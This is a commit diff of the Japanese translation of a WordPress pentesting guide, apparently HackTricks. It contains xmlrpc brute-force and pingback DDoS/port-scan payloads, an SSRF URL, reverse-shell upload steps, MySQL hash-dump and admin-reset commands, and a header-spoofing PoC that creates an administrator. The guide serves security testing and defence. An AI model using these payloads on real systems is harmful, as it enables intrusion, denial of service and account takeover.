mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/wordpres
This commit is contained in:
parent
2fbf2bc3c3
commit
8b665420b9
@ -4,47 +4,47 @@
|
||||
|
||||
## 基本情報
|
||||
|
||||
- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Themes files can be found in /wp-content/themes/,** そのため theme の php を変更して RCE を得る場合はおそらくそのパスを利用します。例: **theme twentytwelve** を使用している場合、**404.php** ファイルに次の場所から **アクセス** できます: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Uploaded** ファイルは次に保存されます: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Themes files can be found in /wp-content/themes/,** テーマのファイルは /wp-content/themes/ にあります。テーマの php を変更して RCE を得る場合、おそらくそのパスを使用します。例えば、**theme twentytwelve** を使用すると [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) の **404.php** ファイルにアクセスできます。
|
||||
|
||||
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- `wp-config.php` 内にはデータベースの root パスワードが見つかることがあります。
|
||||
- 確認すべきデフォルトのログインパス: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
- `wp-config.php` にはデータベースの root パスワードが含まれていることがあります。
|
||||
- チェックするデフォルトのログインパス: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
|
||||
### **Main WordPress Files**
|
||||
|
||||
- `index.php`
|
||||
- `license.txt` にはインストールされている WordPress のバージョンなどの有用な情報が含まれます。
|
||||
- `wp-activate.php` は新しい WordPress サイトをセットアップする際のメールアクティベーションプロセスに使用されます。
|
||||
- Login フォルダ(隠すために名前が変更されている場合があります):
|
||||
- `wp-activate.php` は新しい WordPress サイト設定時のメールアクティベーション処理に使われます。
|
||||
- ログイン用ファイル/フォルダ(隠すために名前が変更されていることがあります):
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` は、HTTP をトランスポート機構、XML をエンコーディング機構としてデータを送受信できる WordPress の機能を表すファイルです。この種類の通信は WordPress の [REST API](https://developer.wordpress.org/rest-api/reference) によって置き換えられています。
|
||||
- `wp-content` フォルダはプラグインやテーマが格納される主要なディレクトリです。
|
||||
- `xmlrpc.php` は、HTTP をトランスポート、XML をエンコーディング機構としてデータ送信を可能にする WordPress の機能を表すファイルです。この種の通信は WordPress の [REST API](https://developer.wordpress.org/rest-api/reference) によって置き換えられています。
|
||||
- `wp-content` フォルダはプラグインとテーマが格納されるメインディレクトリです。
|
||||
- `wp-content/uploads/` はプラットフォームにアップロードされたファイルが保存されるディレクトリです。
|
||||
- `wp-includes/` は証明書、フォント、JavaScript ファイル、ウィジェットなどのコアファイルが格納されるディレクトリです。
|
||||
- `wp-sitemap.xml` WordPress バージョン 5.5 以降では、公開された投稿や公開可能な投稿タイプとタクソノミーを含む sitemap XML ファイルが生成されます。
|
||||
- `wp-sitemap.xml` WordPress バージョン 5.5 以降では、公開されたすべての投稿および公開クエリ可能な投稿タイプとタクソノミーを含む sitemap XML ファイルが生成されます。
|
||||
|
||||
**Post exploitation**
|
||||
**ポストエクスプロイテーション**
|
||||
|
||||
- `wp-config.php` ファイルには、WordPress がデータベースに接続するために必要な情報(データベース名、データベースホスト、ユーザー名、パスワード、認証キーとソルト、データベーステーブルのプレフィックスなど)が含まれています。この設定ファイルは DEBUG モードを有効にするためにも使え、トラブルシューティングに役立つことがあります。
|
||||
- `wp-config.php` ファイルには、データベース名、データベースホスト、ユーザ名とパスワード、認証キーとソルト、データベーステーブルのプレフィックスなど、WordPress がデータベースに接続するために必要な情報が含まれます。この設定ファイルは DEBUG モードを有効にするためにも使用でき、トラブルシューティングに役立ちます。
|
||||
|
||||
### ユーザー権限
|
||||
|
||||
- **Administrator**
|
||||
- **Editor**: 自分および他者の投稿を公開・管理できます
|
||||
- **Author**: 自分の投稿を公開・管理できます
|
||||
- **Contributor**: 自分の投稿を執筆・管理できますが公開はできません
|
||||
- **Subscriber**: 投稿を閲覧し自身のプロフィールを編集できます
|
||||
- **Contributor**: 投稿を作成・管理できますが公開はできません
|
||||
- **Subscriber**: 投稿を閲覧しプロフィールを編集できます
|
||||
|
||||
## **Passive Enumeration**
|
||||
|
||||
### **Get WordPress version**
|
||||
|
||||
ファイル `/license.txt` または `/readme.html` が見つかるか確認してください
|
||||
ファイル `/license.txt` または `/readme.html` を見つけられるか確認する
|
||||
|
||||
ページの**ソースコード**内(例: [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
|
||||
@ -77,33 +77,33 @@ curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-conten
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
|
||||
```
|
||||
## アクティブな列挙
|
||||
## アクティブ列挙
|
||||
|
||||
### Plugins and Themes
|
||||
### プラグインとテーマ
|
||||
|
||||
おそらくすべてのPlugins and Themesを見つけることはできません。全てを発見するには、Plugins and Themesのリストを**積極的にBrute Forceする**必要があります(幸い、自動化ツールがこれらのリストを含んでいることがあります)。
|
||||
おそらくすべてのプラグインとテーマを見つけられないでしょう。すべてを発見するには、**積極的にプラグインとテーマのリストを Brute Force する**必要があります(幸い、このリストを含む自動化ツールが存在します)。
|
||||
|
||||
### ユーザー
|
||||
|
||||
- **ID Brute:** WordPressサイトの有効なユーザーは、ユーザーIDをBrute Forcingすることで取得できます:
|
||||
- **ID Brute:** WordPress サイトから有効なユーザーを、users IDs を Brute Forcing することで取得します:
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
レスポンスが **200** または **30X** の場合、その id は **有効** です。レスポンスが **400** の場合、その id は **無効** です。
|
||||
|
||||
- **wp-json:** ユーザーの情報をクエリして取得することもできます:
|
||||
- **wp-json:** ユーザーの情報を取得するために、次のようなクエリを試すこともできます:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/wp/v2/users
|
||||
```
|
||||
ユーザーに関するいくつかの情報を公開する別の `/wp-json/` エンドポイントは次のとおりです:
|
||||
ユーザーに関するいくつかの情報を明らかにする可能性がある別の `/wp-json/` エンドポイントは:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
Note that this endpoint only exposes users that have made a post. **この機能を有効にしているユーザーの情報のみが提供されます**。
|
||||
Note that this endpoint only exposes users that have made a post. **この機能が有効になっているユーザーに関する情報のみが提供されます**。
|
||||
|
||||
Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
|
||||
|
||||
- **Login username enumeration**: ログイン時に **`/wp-login.php`** の表示メッセージがユーザー名の存在によって異なるため、ユーザー名の列挙が可能です。
|
||||
- **Login username enumeration**: ログイン時、**`/wp-login.php`** では **message** が **different** で、指定した **username exists or not** を示します。
|
||||
|
||||
### XML-RPC
|
||||
|
||||
@ -122,7 +122,7 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
|
||||
**Credentials Bruteforce**
|
||||
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** は、credentials を brute-force するために使用できるメソッドの一部です。これらのいずれかが見つかれば、次のようなものを送信できます:
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** または **`metaWeblog.getUsersBlogs`** は、brute-force credentials に使用できるメソッドのいくつかです。これらのいずれかを見つけた場合、次のようなものを送信できます:
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
@ -132,15 +132,13 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
The message _"Incorrect username or password"_ inside a 200 code response should appear if the credentials aren't valid.
|
||||
認証情報が無効な場合、200コードのレスポンス内にメッセージ _"Incorrect username or password"_ が表示されるべきです。
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
|
||||
.png>)
|
||||
|
||||
200 コードのレスポンス内のメッセージ _"Incorrect username or password"_ は、認証情報が無効な場合に表示されます。
|
||||
|
||||
正しい認証情報を使用するとファイルをアップロードできます。レスポンスにはパスが表示されます ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))。
|
||||
正しい認証情報を使用するとファイルをアップロードできます。レスポンスにはパスが表示されます([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
```html
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
@ -170,18 +168,18 @@ The message _"Incorrect username or password"_ inside a 200 code response should
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
また、**より高速な方法**で資格情報をブルートフォースできます。**`system.multicall`**を使えば、同じリクエストで複数の資格情報を試すことができます:
|
||||
さらに、同じリクエストで複数の認証情報を試せるため、**`system.multicall`** を使ってクレデンシャルをブルートフォースする、より**高速な方法**があります:
|
||||
|
||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Bypass 2FA**
|
||||
**2FA のバイパス**
|
||||
|
||||
この方法はプログラム向けで人間向けではなく古いため、2FAをサポートしていません。したがって、有効なcredsを持っているがメインの入口が2FAで保護されている場合、**xmlrpc.phpを悪用してそれらのcredsで2FAを回避してloginできるかもしれません**。ただし、コンソールから行えるすべての操作が可能になるわけではありませんが、Ippsecが[https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)で説明しているようにRCEに至る可能性は残ります。
|
||||
この手法は人間向けではなくプログラム向けで古いため、2FA をサポートしていません。したがって、有効な creds を持っていてメインのログインが 2FA で保護されている場合、**xmlrpc.php を悪用してそれらの creds で 2FA をバイパスしてログインできる可能性があります**。コンソールで実行できるすべての操作は行えない点に注意してくださいが、Ippsec が [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) で説明しているように RCE に到達できる場合があります。
|
||||
|
||||
**DDoS または port scanning**
|
||||
**DDoS またはポートスキャン**
|
||||
|
||||
リストの中にメソッド_**pingback.ping**_が見つかれば、Wordpressに任意のホスト/ポートへリクエストを送らせることができます。\
|
||||
これを利用して、**何千**のWordpressの**サイト**に一つの**場所**へ**アクセス**させ(その結果その場所で**DDoS**が発生します)、あるいは**Wordpress**を使って内部**ネットワーク**を**スキャン**させることも可能です(任意のポートを指定できます)。
|
||||
リストの中に _**pingback.ping**_ メソッドが見つかれば、Wordpress に任意のホスト/ポートへリクエストを送らせることができます.\
|
||||
これを利用すれば、**何千もの** Wordpress **サイト** に同一の **場所** へアクセスさせ(その場所で **DDoS** を引き起こす)、あるいは任意のポートを指定して **Wordpress** に内部 **ネットワーク** のスキャンをさせることもできます。
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -193,9 +191,9 @@ The message _"Incorrect username or password"_ inside a 200 code response should
|
||||
```
|
||||

|
||||
|
||||
もし **faultCode** が値 **0**(17)より **大きい** 場合、そのポートは開いています。
|
||||
もし **faultCode** の値が **0**(17)より **大きい** なら、そのポートは開いていることを意味します。
|
||||
|
||||
前のセクションでの **`system.multicall`** の使用方法を参照して、このメソッドを悪用して DDoS を引き起こす方法を学んでください。
|
||||
前のセクションでの **`system.multicall`** の使用例を参照して、このメソッドを悪用して DDoS を引き起こす方法を学んでください。
|
||||
|
||||
**DDoS**
|
||||
```html
|
||||
@ -212,14 +210,14 @@ The message _"Incorrect username or password"_ inside a 200 code response should
|
||||
### wp-cron.php DoS
|
||||
|
||||
このファイルは通常 Wordpress サイトのルートに存在します: **`/wp-cron.php`**\
|
||||
このファイルに**アクセス**されると、負荷の高い MySQL **query** が実行されるため、**attackers** が **DoS** を **引き起こす**ために利用することができます。\
|
||||
また、デフォルトでは `wp-cron.php` は各ページロード(clientが Wordpress のページをリクエストするたび)で呼び出されるため、高トラフィックサイトでは問題(DoS)を引き起こすことがあります。
|
||||
このファイルに**アクセス**されると、"重い"な MySQL **query** が実行されるため、**attackers** によって **DoS** を**引き起こす**ために利用される可能性があります。\
|
||||
また、デフォルトでは、`wp-cron.php` はすべてのページ読み込み時(クライアントが Wordpress のページを要求するたび)に呼び出されるため、トラフィックの多いサイトでは問題(DoS)を引き起こすことがあります。
|
||||
|
||||
Wp-Cron を無効化し、ホスト内で定期的に必要な処理を実行する本物の cronjob を作成することを推奨します(問題を起こさないように)。
|
||||
Wp-Cron を無効にして、ホスト内で定期的に必要な処理を実行する本物の cronjob を作成することを推奨します(問題を引き起こさないように)。
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
_try to access_ _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ にアクセスしてみてください。Worpress サイトがあなたにリクエストを送る可能性があります。
|
||||
_try_ https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net にアクセスしてみてください。Worpress サイトがあなたにリクエストを送る可能性があります。
|
||||
|
||||
This is the response when it doesn't work:
|
||||
|
||||
@ -232,7 +230,7 @@ This is the response when it doesn't work:
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
このツールは **methodName: pingback.ping** と パス **/wp-json/oembed/1.0/proxy** の存在を確認し、存在する場合はそれらを悪用しようとします。
|
||||
このツールは **methodName: pingback.ping** が存在するか、またパス **/wp-json/oembed/1.0/proxy** の有無を確認し、存在する場合はそれらを悪用しようとします。
|
||||
|
||||
## 自動ツール
|
||||
```bash
|
||||
@ -240,28 +238,28 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6
|
||||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||||
#You can try to bruteforce the admin user using wpscan with "-U admin"
|
||||
```
|
||||
## ビットを上書きしてアクセスを取得する
|
||||
## 1ビットを上書きしてアクセスを得る
|
||||
|
||||
実際の攻撃というより興味本位のネタです。CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) では任意の wordpress ファイルの1ビットを反転できました。したがって、ファイル `/var/www/html/wp-includes/user.php` の位置 `5389` を反転して NOT (`!`) 演算を NOP にできます。
|
||||
実際の攻撃というより好奇心からのものです。CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) では任意の wordpress ファイルの1ビットを反転できます。例えばファイル `/var/www/html/wp-includes/user.php` の位置 `5389` のビットを反転して NOT (`!`) 演算を NOP にできます。
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
```
|
||||
## **Panel RCE**
|
||||
## **パネル RCE**
|
||||
|
||||
**テーマで使用されている php を修正する(admin credentials が必要)**
|
||||
**テーマで使用されている php を変更する(admin credentials が必要)**
|
||||
|
||||
Appearance → Theme Editor → 404 Template (右側)
|
||||
外観 → テーマエディター → 404 テンプレート(右側)
|
||||
|
||||
php shell 用のコンテンツに変更する:
|
||||
php シェル用にコンテンツを変更する:
|
||||
|
||||
.png>)
|
||||
|
||||
更新したページへどうアクセスするかをインターネットで調べる。今回の場合、次の場所にアクセスする必要があります: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
更新されたページにどうアクセスするかをインターネットで調べる。この場合、次の場所にアクセスする必要があります: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
### MSF
|
||||
|
||||
使用例:
|
||||
以下を使用できます:
|
||||
```bash
|
||||
use exploit/unix/webapp/wp_admin_shell_upload
|
||||
```
|
||||
@ -271,91 +269,92 @@ use exploit/unix/webapp/wp_admin_shell_upload
|
||||
|
||||
### PHP plugin
|
||||
|
||||
.php ファイルを plugin としてアップロードできる可能性があります。\
|
||||
例えば次のように php backdoor を作成します:
|
||||
It may be possible to upload .php files as a plugin.\
|
||||
例えば .php ファイルをプラグインとしてアップロードできる場合があります。
|
||||
例えば次のように php バックドアを作成します:
|
||||
|
||||
.png>)
|
||||
|
||||
次に新しい plugin を追加します:
|
||||
Then add a new plugin:
|
||||
|
||||
.png>)
|
||||
|
||||
plugin をアップロードして "Install Now" を押します:
|
||||
Upload plugin and press Install Now:
|
||||
|
||||
.png>)
|
||||
|
||||
「Procced」をクリック:
|
||||
Click on Procced:
|
||||
|
||||
.png>)
|
||||
|
||||
おそらく一見何も起きないように見えますが、Media に移動すると shell がアップロードされているのが確認できます:
|
||||
Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:
|
||||
|
||||
.png>)
|
||||
|
||||
それにアクセスすると、reverse shell を実行するための URL が表示されます:
|
||||
Access it and you will see the URL to execute the reverse shell:
|
||||
|
||||
.png>)
|
||||
|
||||
### Uploading and activating malicious plugin
|
||||
|
||||
この方法は、脆弱であることが知られている悪意のある plugin をインストールし、web shell を取得するために悪用することを含みます。プロセスは WordPress dashboard を通じて以下のように実行されます:
|
||||
This method involves the installation of a malicious plugin known to be vulnerable and can be exploited to obtain a web shell. This process is carried out through the WordPress dashboard as follows:
|
||||
|
||||
1. **Plugin Acquisition**: この plugin は Exploit DB のようなソース(例: [**here**](https://www.exploit-db.com/exploits/36374))から入手します。
|
||||
1. **Plugin Acquisition**: プラグインは Exploit DB のようなソースから取得します(例: [**here**](https://www.exploit-db.com/exploits/36374))。
|
||||
2. **Plugin Installation**:
|
||||
- WordPress dashboard に移動し、`Dashboard > Plugins > Upload Plugin` に進みます。
|
||||
- ダウンロードした plugin の zip ファイルをアップロードします。
|
||||
3. **Plugin Activation**: plugin が正常にインストールされたら、dashboard から有効化する必要があります。
|
||||
- WordPress dashboard に移動し、`Dashboard > Plugins > Upload Plugin` へ進みます。
|
||||
- ダウンロードしたプラグインの zip ファイルをアップロードします。
|
||||
3. **Plugin Activation**: プラグインが正常にインストールされたら、ダッシュボードから有効化します。
|
||||
4. **Exploitation**:
|
||||
- plugin "reflex-gallery" をインストールして有効化すると、脆弱であるため悪用可能です。
|
||||
- Metasploit framework はこの脆弱性に対する exploit を提供します。適切なモジュールをロードし特定のコマンドを実行することで、meterpreter セッションを確立し、サイトへの不正アクセスを得ることができます。
|
||||
- これは WordPress サイトを悪用する多くの方法のうちの一つに過ぎないことに注意してください。
|
||||
- プラグイン "reflex-gallery" をインストールして有効化すると、脆弱であることが知られているため悪用可能です。
|
||||
- Metasploit framework はこの脆弱性用の exploit を提供しています。適切なモジュールをロードして特定のコマンドを実行することで、meterpreter セッションを確立し、サイトへの不正アクセスを得ることができます。
|
||||
- これは WordPress サイトを悪用する多くの方法のうちの一つに過ぎない点に注意してください。
|
||||
|
||||
このコンテンツには、plugin をインストールおよび有効化する手順を示す WordPress dashboard の図が含まれています。ただし、正当な許可なしにこのように脆弱性を悪用することは違法であり非倫理的です。この情報は責任を持って、明確な許可のあるコンテキスト、例えば penetration testing のような合法的な場面でのみ使用してください。
|
||||
内容には、プラグインのインストールおよび有効化の手順を示す視覚資料が含まれています。ただし、このような方法で脆弱性を悪用することは、適切な許可がない限り違法かつ非倫理的であることに注意してください。この情報は責任を持って、明確な許可のある penetration testing などの合法的な文脈でのみ使用してください。
|
||||
|
||||
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## From XSS to RCE
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ は **Cross-Site Scripting (XSS)** の脆弱性を **Remote Code Execution (RCE)** やその他の重大な脆弱性にエスカレートさせるために設計されたスクリプトです。詳細は [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) を参照してください。**Wordpress Versions 6.X.X, 5.X.X and 4.X.X.** をサポートしており、以下を可能にします:
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ は WordPress の **Cross-Site Scripting (XSS)** 脆弱性を **Remote Code Execution (RCE)** やその他の重大な脆弱性にエスカレートするために設計されたスクリプトです。詳細は [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) を参照してください。**Wordpress Versions 6.X.X, 5.X.X and 4.X.X. に対応し、以下を可能にします:**
|
||||
- _**Privilege Escalation:**_ WordPress にユーザを作成します。
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ カスタム plugin (backdoor) を WordPress にアップロードします。
|
||||
- _**(RCE) Built-In Plugin Edit:**_ WordPress の組み込み plugin を編集します。
|
||||
- _**(RCE) Built-In Theme Edit:**_ WordPress の組み込み theme を編集します。
|
||||
- _**(Custom) Custom Exploits:**_ サードパーティの WordPress Plugins/Themes に対するカスタム exploit を実行します。
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ カスタムプラグイン(backdoor)を WordPress にアップロードします。
|
||||
- _**(RCE) Built-In Plugin Edit:**_ WordPress の組み込みプラグインを編集します。
|
||||
- _**(RCE) Built-In Theme Edit:**_ WordPress の組み込みテーマを編集します。
|
||||
- _**(Custom) Custom Exploits:**_ サードパーティ製 WordPress プラグイン/テーマ向けのカスタム exploit。
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
ユーザ名とパスワードを抽出する:
|
||||
ユーザー名とパスワードを抽出する:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
||||
```
|
||||
管理者パスワードを変更する:
|
||||
adminのパスワードを変更する:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
||||
```
|
||||
## Wordpress プラグイン Pentest
|
||||
## Wordpress Plugins Pentest
|
||||
|
||||
### 攻撃対象
|
||||
### Attack Surface
|
||||
|
||||
Wordpress プラグインがどのように機能を公開するかを理解することは、その機能における脆弱性を発見するために重要です。プラグインがどのように機能を公開するかは以下の箇条書きで確認でき、脆弱なプラグインの例については [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/) を参照してください。
|
||||
Wordpressプラグインがどのように機能を公開するかを知ることは、その機能に対する脆弱性を発見するために重要です。以下の箇条書きはプラグインがどのように機能を公開するかを示しており、脆弱なプラグインの例は [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/) を参照してください。
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
プラグインが関数を公開する方法の1つは、AJAXハンドラを介することです。これらはロジック、認可、あるいは認証のバグを含んでいる可能性があります。さらに、これらの関数は認証と認可の両方を Wordpress の nonce の存在に基づかせることがしばしばあり、nonce は **Wordpress インスタンスで認証された任意のユーザーが持ち得る**(役割に関係なく)ものです。
|
||||
プラグインが機能を公開する方法の一つは AJAX ハンドラ経由です。これらにはロジック、authorization、authentication のバグが含まれている可能性があります。さらに、これらの関数は認証および authorization の両方を wordpress nonce の存在に基づくことが多く、**any user authenticated in the Wordpress instance might have**(役割に関係なく)。
|
||||
|
||||
These are the functions that can be used to expose a function in a plugin:
|
||||
```php
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
```
|
||||
**The use of `nopriv` makes the endpoint accessible by any users (even unathenticated ones).**
|
||||
**`nopriv` を使用すると、エンドポイントは任意のユーザ(未認証のユーザも含む)からアクセス可能になります。**
|
||||
|
||||
> [!CAUTION]
|
||||
> さらに、もし関数が `wp_verify_nonce` でユーザーの認可だけを確認しているだけなら、この関数は単にユーザーがログインしているかどうかを確認するだけで、通常ユーザーの役割を確認するものではありません。したがって、低権限ユーザーが高権限の操作にアクセスできる可能性があります。
|
||||
> さらに、関数が `wp_verify_nonce` 関数でユーザの認可のみを確認しているだけの場合、その関数は単にユーザがログインしているかどうかを確認しているだけで、通常はユーザの役割をチェックしていません。したがって、権限の低いユーザが高権限の操作にアクセスできる可能性があります。
|
||||
|
||||
- **REST API**
|
||||
|
||||
また、`register_rest_route` 関数を使って wordpress に REST API を登録することで、関数を公開することも可能です:
|
||||
It's also possible to expose functions from wordpress registering a rest AP using the `register_rest_route` function:
|
||||
```php
|
||||
register_rest_route(
|
||||
$this->namespace, '/get/', array(
|
||||
@ -365,20 +364,20 @@ $this->namespace, '/get/', array(
|
||||
)
|
||||
);
|
||||
```
|
||||
The `permission_callback` is a callback to function that checks if a given user is authorized to call the API method.
|
||||
The `permission_callback` は、指定されたユーザが API メソッドを呼び出す権限があるかをチェックするコールバック関数です。
|
||||
|
||||
**If the built-in `__return_true` function is used, it'll simply skip user permissions check.**
|
||||
**組み込みの `__return_true` 関数が使われている場合、ユーザ権限のチェックを単純にスキップします。**
|
||||
|
||||
- **php ファイルへの直接アクセス**
|
||||
|
||||
もちろん、Wordpress は PHP を使用しており、プラグイン内のファイルはウェブから直接アクセス可能です。したがって、プラグインがファイルにアクセスするだけでトリガーされる脆弱な機能を公開している場合、それは任意のユーザーによって悪用可能です。
|
||||
もちろん、Wordpress は PHP を使用しており、プラグイン内のファイルはウェブから直接アクセス可能です。したがって、プラグインがファイルにアクセスするだけでトリガーされる脆弱な機能を公開している場合、その機能は任意のユーザによって悪用され得ます。
|
||||
|
||||
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
|
||||
|
||||
Some plugins implement “trusted header” shortcuts for internal integrations or reverse proxies and then use that header to set the current user context for REST requests. If the header is not cryptographically bound to the request by an upstream component, an attacker can spoof it and hit privileged REST routes as an administrator.
|
||||
一部のプラグインは内部統合やリバースプロキシ向けに “trusted header” のショートカットを実装し、そのヘッダを REST リクエストの現在のユーザコンテキストを設定するために使用します。ヘッダが上流コンポーネントによって暗号学的にリクエストに紐付けられていない場合、攻撃者はそれを偽装して管理者として権限のある REST ルートにアクセスできます。
|
||||
|
||||
- Impact: 認証なしでコアの users REST ルートを介して新しい管理者を作成することで管理者権限に昇格される可能性があります。
|
||||
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (ユーザーID 1 を強制指定し、通常は最初の管理者アカウントになります。)
|
||||
- Impact: 未認証のまま admin に権限昇格 — core users REST route を介して新しい administrator を作成することで達成される。
|
||||
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (ユーザ ID 1 を強制、通常は最初の administrator アカウント)
|
||||
- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array.
|
||||
|
||||
PoC
|
||||
@ -393,40 +392,40 @@ Content-Length: 114
|
||||
|
||||
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
|
||||
```
|
||||
Why it works
|
||||
なぜ動作するか
|
||||
|
||||
- プラグインがクライアント制御のヘッダを認証状態にマップし、権限チェックをスキップしている。
|
||||
- WordPress core はこのルートに `create_users` capability を期待するが、プラグインのハックはヘッダから直接 current user コンテキストを設定することでこれを回避している。
|
||||
- プラグインがクライアント制御のヘッダーを認証状態にマップし、権限チェックをスキップする。
|
||||
- WordPress core はこのルートに `create_users` 権限を期待するが、プラグインのハックはヘッダーから直接 current user コンテキストを設定することでこれをバイパスする。
|
||||
|
||||
Expected success indicators
|
||||
期待される成功指標
|
||||
|
||||
- 作成したユーザを記述する JSON ボディを含む HTTP 201。
|
||||
- `wp-admin/users.php` に新しい管理者ユーザが表示される。
|
||||
- HTTP 201 と作成されたユーザーを記述する JSON ボディ。
|
||||
- `wp-admin/users.php` に新しい管理者ユーザーが表示される。
|
||||
|
||||
Detection checklist
|
||||
検出チェックリスト
|
||||
|
||||
- ユーザコンテキストを設定するためにカスタムヘッダを読み取る `getallheaders()`、`$_SERVER['HTTP_...']`、またはベンダー SDK(例: `wp_set_current_user()`, `wp_set_auth_cookie()`)を grep する。
|
||||
- 堅牢な `permission_callback` チェックが欠如しており、代わりにリクエストヘッダに依存している特権付きコールバックについて REST 登録を確認する。
|
||||
- REST ハンドラ内でヘッダ値だけでゲートされている core user-management 関数(`wp_insert_user`, `wp_create_user`)の利用を探す。
|
||||
- `getallheaders()`, `$_SERVER['HTTP_...']`、またはカスタムヘッダーを読み取ってユーザーコンテキストを設定するベンダーSDK(例: `wp_set_current_user()`, `wp_set_auth_cookie()`)をgrepする。
|
||||
